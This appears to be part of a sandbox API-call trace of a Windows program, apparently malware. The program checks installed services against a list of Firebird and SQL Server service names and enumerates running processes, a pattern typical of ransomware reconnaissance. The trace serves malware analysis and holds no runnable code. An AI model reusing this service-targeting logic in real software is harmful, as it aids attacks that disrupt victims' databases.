	[0036.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0036.557] lstrlenW (lpString="NcbService") returned 10
	[0036.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0036.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0036.557] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0036.557] lstrlenW (lpString="netprofm") returned 8
	[0036.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0036.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0036.557] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0036.557] lstrlenW (lpString="NgcSvc") returned 6
	[0036.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0036.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0036.557] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0036.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0036.557] lstrlenW (lpString="NlaSvc") returned 6
	[0036.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0036.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0036.558] lstrlenW (lpString="nsi") returned 3
	[0036.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0036.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0036.558] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0036.558] lstrlenW (lpString="PcaSvc") returned 6
	[0036.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0036.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0036.558] lstrlenW (lpString="PlugPlay") returned 8
	[0036.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0036.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0036.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0036.558] lstrlenW (lpString="Power") returned 5
	[0036.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0036.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0036.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0036.558] lstrlenW (lpString="ProfSvc") returned 7
	[0036.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0036.558] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0036.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0036.558] lstrlenW (lpString="RpcEptMapper") returned 12
	[0036.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0036.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0036.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0036.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0036.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0036.559] lstrlenW (lpString="RpcSs") returned 5
	[0036.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0036.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0036.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0036.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0036.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0036.559] lstrlenW (lpString="SamSs") returned 5
	[0036.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0036.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0036.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0036.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0036.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0036.559] lstrlenW (lpString="Schedule") returned 8
	[0036.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0036.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0036.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0036.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0036.560] lstrlenW (lpString="SecurityHealthService") returned 21
	[0036.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0036.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0036.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0036.560] lstrlenW (lpString="SENS") returned 4
	[0036.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0036.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0036.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0036.560] lstrlenW (lpString="ShellHWDetection") returned 16
	[0036.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0036.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0036.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0036.560] lstrlenW (lpString="Spooler") returned 7
	[0036.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0036.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0036.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0036.560] lstrlenW (lpString="StateRepository") returned 15
	[0036.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0036.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0036.560] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0036.560] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0036.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0036.561] lstrlenW (lpString="SysMain") returned 7
	[0036.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0036.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0036.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0036.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0036.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0036.561] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0036.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0036.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0036.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0036.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0036.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0036.561] lstrlenW (lpString="Themes") returned 6
	[0036.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0036.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0036.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0036.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0036.561] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6a8ed0 | out: hHeap=0x650000) returned 1
	[0036.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c
	[0036.566] Process32FirstW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0036.569] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0036.570] lstrlenW (lpString="System") returned 6
	[0036.570] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0036.570] lstrlenW (lpString="smss.exe") returned 8
	[0036.570] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0036.571] lstrlenW (lpString="csrss.exe") returned 9
	[0036.571] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0036.572] lstrlenW (lpString="wininit.exe") returned 11
	[0036.572] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0036.572] lstrlenW (lpString="csrss.exe") returned 9
	[0036.572] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0036.573] lstrlenW (lpString="winlogon.exe") returned 12
	[0036.573] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0036.573] lstrlenW (lpString="services.exe") returned 12
	[0036.573] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0036.574] lstrlenW (lpString="lsass.exe") returned 9
	[0036.574] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.575] lstrlenW (lpString="svchost.exe") returned 11
	[0036.575] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0036.575] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0036.575] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0036.576] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0036.576] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.576] lstrlenW (lpString="svchost.exe") returned 11
	[0036.576] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0036.577] lstrlenW (lpString="dwm.exe") returned 7
	[0036.577] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.578] lstrlenW (lpString="svchost.exe") returned 11
	[0036.578] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.578] lstrlenW (lpString="svchost.exe") returned 11
	[0036.578] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.579] lstrlenW (lpString="svchost.exe") returned 11
	[0036.579] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.579] lstrlenW (lpString="svchost.exe") returned 11
	[0036.579] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.580] lstrlenW (lpString="svchost.exe") returned 11
	[0036.580] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.581] lstrlenW (lpString="svchost.exe") returned 11
	[0036.581] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.581] lstrlenW (lpString="svchost.exe") returned 11
	[0036.581] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.582] lstrlenW (lpString="svchost.exe") returned 11
	[0036.582] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.583] lstrlenW (lpString="svchost.exe") returned 11
	[0036.583] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0036.584] lstrlenW (lpString="spoolsv.exe") returned 11
	[0036.584] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.584] lstrlenW (lpString="svchost.exe") returned 11
	[0036.584] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.585] lstrlenW (lpString="svchost.exe") returned 11
	[0036.585] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0036.586] lstrlenW (lpString="audiodg.exe") returned 11
	[0036.586] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0036.586] lstrlenW (lpString="sihost.exe") returned 10
	[0036.586] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.587] lstrlenW (lpString="svchost.exe") returned 11
	[0036.587] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0036.588] lstrlenW (lpString="taskhostw.exe") returned 13
	[0036.588] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0036.588] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0036.588] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0036.589] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0036.589] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0036.589] lstrlenW (lpString="explorer.exe") returned 12
	[0036.590] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0036.590] lstrlenW (lpString="Memory Compression") returned 18
	[0036.590] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0036.591] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0036.591] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0036.591] lstrlenW (lpString="SearchUI.exe") returned 12
	[0036.591] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0036.592] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0036.592] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0036.593] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0036.593] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0036.593] lstrlenW (lpString="taskhostw.exe") returned 13
	[0036.594] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0036.594] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0036.594] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0036.595] lstrlenW (lpString="UsoClient.exe") returned 13
	[0036.595] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0036.595] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0036.595] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0036.596] lstrlenW (lpString="taskhostw.exe") returned 13
